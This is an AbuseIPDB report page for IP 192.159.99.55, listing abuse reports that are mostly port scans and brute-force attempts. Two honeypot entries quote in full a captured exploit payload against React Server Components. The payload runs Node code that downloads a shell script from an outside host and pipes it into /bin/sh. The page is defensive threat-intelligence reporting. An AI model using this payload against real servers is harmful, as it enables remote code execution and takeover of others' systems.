JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 192.159.99.55

192.159.99.55 was found in our database!

This IP was reported 171 times. Confidence of Abuse is 100%: ?

100%

ISP	1337 Services GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS210558
Domain Name	as210558.net
Country	🇺🇸 United States of America
City	New York City, New York

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 192.159.99.55

Whois 192.159.99.55

IP Abuse Reports for 192.159.99.55:

This IP address has been reported a total of 171 times from 97 distinct sources. 192.159.99.55 was first reported on September 28th 2023, and the most recent report was 5 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇭🇰 pengpeng	2026-06-10 23:54:55 (5 days ago)	monitor: on ser162528253480 \| port: 3000 \| ttl: 241 script: github.com/sefinek/UFW-AbuseIPDB-Report ... show more monitor: on ser162528253480 \| port: 3000 \| ttl: 241 script: github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 ISPLtd	2026-06-10 22:40:47 (5 days ago)	Jun 10 19:20:42 192.159.99.55 TCP SPT=57803 DPT=8088 SYN Jun 10 19:32:19 192.159.99.55 TCP SPT=52014 ... show more Jun 10 19:20:42 192.159.99.55 TCP SPT=57803 DPT=8088 SYN Jun 10 19:32:19 192.159.99.55 TCP SPT=52014 DPT=8088 SYN Jun 10 19:40:21 192.159.99.55 TCP SPT=48925 DPT=8088 SYN ... show less	Port Scan
🇩🇪 KPS	2026-06-10 19:29:18 (6 days ago)	PortscanN	Port Scan
🇦🇩 bakunin1848	2026-06-10 19:27:04 (6 days ago)	Firewall IPS Detection on 10-06-2026 at 21:27:04	Port Scan Exploited Host
🇫🇷 dusfor72	2026-06-10 16:54:04 (6 days ago)	aggressive portscan ...	Port Scan
Anonymous	2026-06-10 16:52:59 (6 days ago)	Drop from IP address 192.159.99.55 to tcp-port 3001	Port Scan
🇫🇷 TheHoneyPotter	2026-06-10 16:28:02 (6 days ago)	Honeypot [fc-honeypot]: HTTP/1.1 request on 3001 POST /api User-Agent: Mozilla/5.0 (rondo2012@atomi ... show more Honeypot [fc-honeypot]: HTTP/1.1 request on 3001 POST /api User-Agent: Mozilla/5.0 ([email protected]) Accept: text/x-component POST Data: --0fdf55df9e085737676f582ed4e95a02 Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('http').request({host:'204.10.194.134', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} --0fdf55df9e085737676f582ed4e95a02 Content-Disposition: form-data; name="1" "$@0" --0fdf55df9e085737676f582ed4e95a02 Content-Disposition: form-data; name="2" [] --0fdf55df9e085737676f582ed4e95a02--; 3001 [1] TCP Reported by: https://github.com/sefinek/T-Pot-To-AbuseIPDB show less	Hacking Bad Web Bot
🇯🇵 mkaraki	2026-06-10 16:24:58 (6 days ago)	1781108697 # Service_probe # SIGNATURE_SEND # source_ip:192.159.99.55 # dst_port:3001 ...	Port Scan
🇪🇸 librebit	2026-06-10 16:24:30 (6 days ago)	Brute force	Brute-Force
🇬🇧 WebServ	2026-06-10 16:16:19 (6 days ago)	Blocked by ufw after 6 attempts in last 300s.	Brute-Force
🇩🇪 ValtonTahiri	2026-06-10 16:16:05 (6 days ago)	UFW blocked a suspicious connection attempt to a closed or denied port. This activity is commonly as ... show more UFW blocked a suspicious connection attempt to a closed or denied port. This activity is commonly associated with port scanning, service discovery, or automated internet probing. Technical: source_ip=192.159.99.55; proto=TCP; source_port=33480; target_port=3001; flags=SYN show less	Port Scan
🇩🇪 zupan	2026-06-10 16:15:30 (6 days ago)	Blocked by UFW on vps [3001/tcp] \| SPT: 40032 \| TTL: 237 \| LEN: 40 \| TOS: 0x00 • Reported by: github ... show more Blocked by UFW on vps [3001/tcp] \| SPT: 40032 \| TTL: 237 \| LEN: 40 \| TOS: 0x00 • Reported by: github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇨🇦 Tanados	2026-06-10 16:15:24 (6 days ago)	Blocked by UFW [3001/tcp] Source port: 56401 TTL: 243 Packet length: 40 TOS: 0x00 This report was g ... show more Blocked by UFW [3001/tcp] Source port: 56401 TTL: 243 Packet length: 40 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 dsp	2026-06-10 16:11:29 (6 days ago)	Firewall (ufw): port scanning on [3001]	Port Scan
🇩🇪 Justin F. \| AS204464	2026-06-10 16:10:38 (6 days ago)	Honeypot [nx-infrastructure]: HTTP/1.1 request on 3000 POST /app User-Agent: Mozilla/5.0 (rondo2012 ... show more Honeypot [nx-infrastructure]: HTTP/1.1 request on 3000 POST /app User-Agent: Mozilla/5.0 ([email protected]) Accept: text/x-component POST Data: --0fdf55df9e085737676f582ed4e95a02 Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('http').request({host:'204.10.194.134', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} --0fdf55df9e085737676f582ed4e95a02 Content-Disposition: form-data; name="1" "$@0" --0fdf55df9e085737676f582ed4e95a02 Content-Disposition: form-data; name="2" [] --0fdf55df9e085737676f582ed4e95a02--; 3000 [1] TCP Reported by: Justin F. show less	Hacking Bad Web Bot

Showing 1 to 15 of 171 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇪 172.68.183.7

🇭🇰 168.76.131.178

🇳🇱 45.148.10.183

🇪🇨 205.235.2.176

🇭🇰 194.187.178.138

🇺🇸 172.86.114.38

🇺🇸 170.254.178.46

🇧🇷 129.159.56.14

🇨🇳 112.102.36.172

🇺🇸 104.35.97.118

🇩🇪 94.16.17.139

🇹🇷 85.105.2.51

🇩🇪 43.228.157.211

🇹🇼 198.235.24.109

🇺🇸 146.235.238.160

🇸🇬 143.198.221.127

🇲🇦 105.155.92.177

🇳🇱 45.148.10.141

🇬🇧 20.0.130.164

🇧🇷 200.208.156.10